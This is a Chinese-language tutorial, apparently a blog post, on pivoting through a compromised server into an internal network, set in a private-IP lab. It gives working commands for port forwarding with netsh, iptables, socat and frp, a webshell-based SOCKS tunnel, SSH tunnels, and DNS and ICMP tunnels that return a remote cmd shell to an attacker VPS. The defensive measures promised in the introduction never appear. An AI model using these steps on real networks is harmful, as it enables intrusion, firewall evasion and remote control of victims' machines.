当我们通过 webshell 或者其它一些方式获取到一台可以访问内网的服务器权限后,如果要做进一步的渗透,往往要访问内网中的其它主机,但其它主机在内网中,我们无法直接访问。由于控制的服务器处于内网中,所以我们可以通过这台服务器作为跳板进行内网穿透。
这篇文章将会使用之前搭建的环境(搭建一个简单的Windows域环境)对内网穿透常用的技术及防御手段进行介绍。这里需要再准备多一台 ubuntu 虚拟机作为 linux 服务器, kali 虚拟机作为攻击机
内网穿透使用的技术主要有下面几种:
端口转发
socks 代理
dns 隧道
icmp 隧道
端口转发技术主要是把目标内网的主机的端口转发到公网可以访问的主机端口中。根据转发的方向不同,也可以分成正向端口转发和反向端口转发,但本质是一样的,都是把一台主机的一个端口转发到另一台主机的一个端口。
正向端口转发的情况一般用得比较少。
这种情况一般是获得权限的公网Web服务器同时具有公网 ip 和内网 ip。此时可以把内网主机的一些端口转发到 Web服务器的端口上。
示意图中,Web服务器会在本地打开一个3389端口进行监听,接着攻击主机访问了Web 服务器的3389端口,然后Web服务器作为中转,把 3389端口接收到的流量转发到内网主机B 的 3389。这样就达到了访问内网主机B的目的。
设置以下环境:
172.16.217.160 外网 kali 攻击机
172.16.108.183,172.16.217.186 网络边界 windows 7 服务器(被控),双网卡,172.16.217.0/24 段的网卡模拟公网,172.16.108.0/24 段的网卡连接内网。
172.16.108.196,172.16.217.165 网络边界 ubuntu 服务器(被控) , 双网卡
172.16.108.184 内网服务器(目标),我们想连它的3389端口
在 windows 系统上关闭防火墙,这样才可以被 ping 通
接下来测试来双网卡的效果,在被控 windows 上分别 ping 下 kali 和目标机,看看是否都可以通
windows 7 被控服务器可以同时 ping 通 kali 和 目标机
kali 可以 ping 通 双网卡的 windows 7 被控服务器,但无法 ping 通内网的目标主机 172.16.108.184
在目标机中开启远程桌面
顺便把目标机的网络级别身份验证关了,方便 kali 连接
接下来在被控 windows 服务器进行正向端口转发,在 windows 下可以使用自带的 netsh工具来进行正向端口转发,netsh是一个命令行脚本实用工具,可以查看或更改本地计算机或远程计算机的网络配置。
现在需要通过 172.16.217.186 的 3389 端口转发到 172.16.108.184 的3389端口。
在 172.16.217.186 被控主机上以管理员身份打开 cmd,输入如下语句:
netsh interface portproxy add v4tov4 listenport=3389 listenaddress=172.16.217.186 connectport=3389 connectaddress=172.16.108.184
//查看存在的转发
netsh interface portproxy show all
//使用netstat确保 3389 端口当前处于被侦听状态:
netstat -ano | findstr 3389
进行端口转发后,就可以通过172.16.217.186 的 3389端口访问内网 172.16.108.184 主机的 3389 端口了。
在 kali 上使用 rdesktop 来连接,注意,这里连接的地址是被控主机的 ip
rdesktop 172.16.217.186
删除指定规则可以使用下面命令
netsh interface portproxy delete v4tov4 listenport=3389 listenaddress=172.16.217.186
在 linux 下可以使用 iptables 进行正向端口转发,iptables 是 linux自带的防火墙软件
创建 iptables 规则,在边界 ubuntu 服务器上把本地 3389 端口收到的流量转发到 172.16.108.184 的 3389 端口
sudo iptables -I INPUT -p tcp -m tcp --dport 3389 -j ACCEPT
sudo iptables -t nat -A PREROUTING -p tcp --dport 3389 -j DNAT --to-destination 172.16.108.184:3389
sudo iptables -t nat -A POSTROUTING -j MASQUERADE
sudo iptables -I FORWARD -j ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo sysctl net.ipv4.ip_forward=1
ubuntu18.04 使用下面命令重启防火墙,
sudo ufw disable && sudo ufw enable
在其它系统可以使用重启iptables
/etc/init.d/iptables restart
在 kali 上使用 rdesktop 来连接,注意,这里连接的地址是被控 ubuntu 主机的 ip
rdesktop 172.16.217.165
使用完后使用 iptables –F 清除规则然后重启 iptables
SOCAT是用于执行流量转发的另一种工具。
它比 iptables 更容易使用。
安装 socat
sudo apt install socat
在边界 ubuntu 服务器上把本地3389端口收到的流量转发到
172.16.108.184 的 3389端口
在 ubuntu18.04 上需要先关闭防火墙
sudo ufw disable
然后进行端口转发
socat TCP4-LISTEN:3389,fork TCP4:172.16.108.184:3389
反向端口转发用得比较多。这种情况一般是公网Web服务器只有内网 ip,然后通过路由器把 80 端口映射到公网的 ip上。这种情况下不能让 Web服务器直接监听本地的端口,然后让攻击主机进行连接,因为路由器只做了80端口的映射。
攻击主机想要访问内网主机B的 3389 端口时,可以让公网的一台 外网服务器 监听 3389 端口,然后把 3389 端口收到的流量转发到 8000 端口,接着让 Web 服务器连接外网服务器的 8000 端口,并且把该端口的流量转发到内网主机B的 3389 端口。这时,攻击机访问外网服务器的 3389 端口,相当于访问内网主机B的 3389 端口。
流量的路径如下:
设置以下环境:
172.16.217.163 windows攻击机,用于和 kali外网服务器交互
172.16.217.160 外网 kali 攻击机,同时是vps主机
172.16.108.196,172.16.217.165 网络边界ubntu服务器 (被控) ,双网卡,172.16.217.0/24 段的网卡模拟公网,172.16.108.0/24 段的网卡连接内网。
172.16.108.184 内网服务器(目标),我们想连它的 3389 端口。
frp
frp是一个可用于内网穿透的高性能的反向代理应用,支持tcp, udp协议,为 http 和 https应用协议提供了额外的能力,且尝试性支持了点对点穿透。
frp用来做反向端口转发比较稳定,而且同时支持 linux 平台和 windows平台。
其详细的介绍可以在github上查看
https://github.com/fatedier/frp/blob/master/README_zh.md
在以下地址下载相应版本的frp
https://github.com/fatedier/frp/releases
在windows 平台下载
frp_0.32.0_windows_amd64.zip
在 linux平台下载
frp_0.32.0_linux_amd64.tar.gz
解压后,将 frps 及 frps.ini 放到具有公网IP(公网 vps )的机器上。
将 frpc 及 frpc.ini 放到处于内网环境的机器上(内网 ubuntu 边界服务器)。
下面的配置将把内网主机的3389端口转发到 公网VPS上
先在vps上修改 frps.ini文件,这里使用了最简化的配置,监听8000端口,等待内网 ubuntu 服务器连接
[common]
bind_port=8000
在vps上启动 frps:
./frps -c./frps.ini
在内网 ubuntu 边界服务器修改frpc.ini文件, 把 172.16.108.184 的 3389 端口转发到 vps 172.16.217.160 的 3389 端口
[common]
server_addr = 172.16.217.160
server_port = 8000
[rdp]
type= tcp
local_ip = 172.16.108.184
local_port = 3389
remote_port = 3389
启动 frpc,连接vps:
./frpc -c ./frpc.ini
连接成功后,在 windows 攻击机上直接连接vps 的 3389 端口即可访问内网主机的 3389 端口
当然,frp也可以做正向端口转发,原理是一样的,把vps换成边界服务器就行了。
socks是一种网络传输协议,主要用于客户端与外网服务器之间通讯的中间传递。但也可以用于客户端与内网服务器之间的通讯。socks协议版本有 socks4 和 socks5,其中 socks5 可以支持udp。
socks有一个服务端,它会监听一个端口,等待客户端的连接。客户端连接该端口,然后告诉服务端要访问那些ip和端口,然后由服务端去访问,服务端把返回的数据转发给客户端。
它的优点是很灵活,不需要转发各种端口,直接通过 socks 服务器就可以访问内网的不同端口。
如果我们获得了一个webshell,可以使用 socks 代理的webshell来实现 socks代理。
reGeorg是常用的隧道马,可以在本地监听一个 socks服务端,然后把收到的内网请求转发到 webshell来访问。下载地址如下:
https://github.com/sensepost/reGeorg
设置以下环境:
172.16.217.160 外网 kali 攻击机,用于使用reGeorg
172.16.108.196,172.16.217.165 网络边界ubntu服务器 (被控) ,被上传 webshell ,双网卡,172.16.217.0/24 段的网卡模拟公网,172.16.108.0/24 段的网卡连接内网。
172.16.108.184 内网服务器(目标)
实验环境的边界 ubuntu 服务器是使用tomcat的,所以上传 tunnel.jsp 到服务器的 webapps目录,访问URL是
http://172.16.217.165:8080/tunnel.jsp
接着 kali攻击机上运行下面命令即可在本地的8080端口启动socks 服务器
python reGeorgSocksProxy.py -p 8080 -u http://172.16.217.165:8080/tunnel.jsp
如何使用socks代理?
在 windows 下面可以使用Proxifier来连接代理。如果要对内网做web渗透,可以直接在burpsuite上面设置socks代理的地址和端口。如果在 linux 下,可以使用 proxychains 工具来使用代理。
以 kali 为例,先把 /etc/proxychains.conf文件的最后一行修改为:
socks5 127.0.0.1 8080
然后通过 proxychains来启动要代理的程序,这样
rdesktop 的流量会经过 socks 代理直接访问内网的目标主机。
proxychains rdesktop 172.16.108.184
可以实现 socks 代理功能的还有很多工具,如 ssocks 、 cobaltstrike 的 socks 功能、msf 的 socks 功能,这里就不一一介绍了。
ssh是 linux 自带的远程登录客户端,ssh端口转发也被称作 ssh 隧道(sshTunnel),因为它们都是通过ssh登陆之后,在ssh客户端与ssh服务端之间建立了一个隧道,从而进行通信。ssh隧道是非常安全的,因为 ssh 是通过加密传输数据的。
使用ssh可以实现前面的所有功能,如正向端口转发、反向端口转发和socks 代理。
如果被控主机是 linux, 推荐使用 ssh 来做隧道,因为它的流量是加密的,而且极其稳定
使用前首先要确认 /etc/ssh/sshd_config 的以下配置:
AllowTcpForwarding yes
GatewayPorts yes
TCPKeepAlive yes #保持心跳,防止ssh断开
PasswordAuthentication yes
重启 ssh 生效
# 重启ssh
service ssh restart
ssh隧道的常用参数如下:
-C:该参数将使ssh压缩所有通过SecureShell客户端发送的数据。
-f:该参数将ssh连接送入后台执行。
-g:该参数允许远程主机通过端口转发与主机端口相连,通常情况下仅允许本地主机这样做。
-N:不执行远程指令。
-R:远程转发
-L:本地转发
-D:动态转发,即socks代理
-p:指定远程ssh服务端口
-n:后台运行
-p:安静模式,不要显示任何debug信息
ssh 隧道分为本地端口转发、远程端口转发和动态端口转发。
本地转发是将远程主机(vps)某个端口的数据转发到本地机器(内网主机)的指定端口。
远程端口转发是在远程主机上监听一个端口,所有访问远程服务器指定端口的数据都会通过ssh隧道传输到本地的对应端口。
动态端口转发是就是建立一个 socks 代理。
设置以下环境:
172.16.217.160 外网 kali 攻击机,同时是vps
172.16.108.196,172.16.217.165 网络边界 ubuntu 服务器,双网卡,172.16.108.0/24段的网卡连接内网。
172.16.108.184 内网服务器(目标)
一般来说,在端口转发时,使用的是远程端口转发
下面命令把 172.16.108.184 的 3389 端口转发到 172.16.217.160 的 3389 端口,注意,下面命令不会产生交互shell,需要用kill命令手动杀死ssh进程才能停止端口转发,在 172.16.108.196 上运行以下命令,输入 vps 的 ssh 账号密码
ssh -CfNg -R 172.16.217.160:3389:172.16.108.184:3389 [email protected]
在 vps上运行以下命令即可访问 172.16.108.184 的 3389 端口
rdesktop 127.0.0.1
ssh 动态端口转发可以实现 socks 代理:
先在内网主机 172.16.108.196 上运行下面命令,使用本地的1086端口做动态端口转发,输入的是172.16.108.196 上的 ssh 账号密码,这时需要有本地的账号密码,或者获取 root 权限后,自行添加一个账号密码
ssh -CfNg -D localhost:1086 ubuntu@localhost
再把本地1086端口远程转发到 172.16.217.160 的1086端口,这里输入的是vps的ssh账号密码。
ssh -CfNg -R 172.16.217.160:1086:localhost:1086 [email protected]
在vps上配置 /etc/proxychains.conf文件的最后一行修改为:
socks5 127.0.0.1 1086
然后通过下面命令访问目标主机 172.16.108.184 的 3389 端口
proxychains rdesktop 172.16.108.184
当目标内网有防火墙策略,不允许内网机器的 tcp 连接出外网时,端口转发技术就无法使用了。这时可以使用但dns请求一般是可以出外网的,而 dns 的 txt记录是可以用来传输数据的,因此通过 dns请求可以建立到目标内网的连接。
常用的工具是dnscat
https://github.com/iagox86/dnscat2
powershell 版本
https://github.com/lukebaggett/dnscat2-powershell
在 vps 172.16.217.160 上运行
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
sudo gem install bundler
bundle install
sudo ruby./dnscat2.rb
在内网主机使用 dnscat 客户端连接vps服务器
dnscat2-v0.07-client-win32.exe --dns server=攻击者的IP --secret=攻击者服务器生成的ID
建立连接后可以运行命令获取 cmd shell:
windows
session -i 1
shell
session -i 2
当端口转发、DNS隧道都失败时,可以尝试使用ICMP 请求把TCP/UDP数据封装到ICMP的ping数据包中来绕过防火墙。
可以使用 icmpsh 工具来建立 icmp 隧道
https://github.com/inquisb/icmpsh
设置以下环境:
172.16.217.160 外网 kali 攻击机,同时是vps, 监听 icmp请求
172.16.108.183 172.16.217.186 内网 windows 服务器,其中172.16.217.0/24 连接公网
在 kali上运行以下命令关闭 ICMP 应答
sysctl -w net.ipv4.icmp_echo_ignore_all=1
然后运行下面命令监听,其中 172.16.217.186 是目标公网IP
python icmpsh_m.py 172.16.217.160 172.16.217.186
接着在内网 windows 服务器上运行以下命令连接 vps,可以在 vps 获取一个 cmd shell
icmpsh.exe -t 172.16.217.160 -d 500 -b 30 -s 128
内网穿透的一些技术就介绍到这里了~
本文章也在我的公众号发布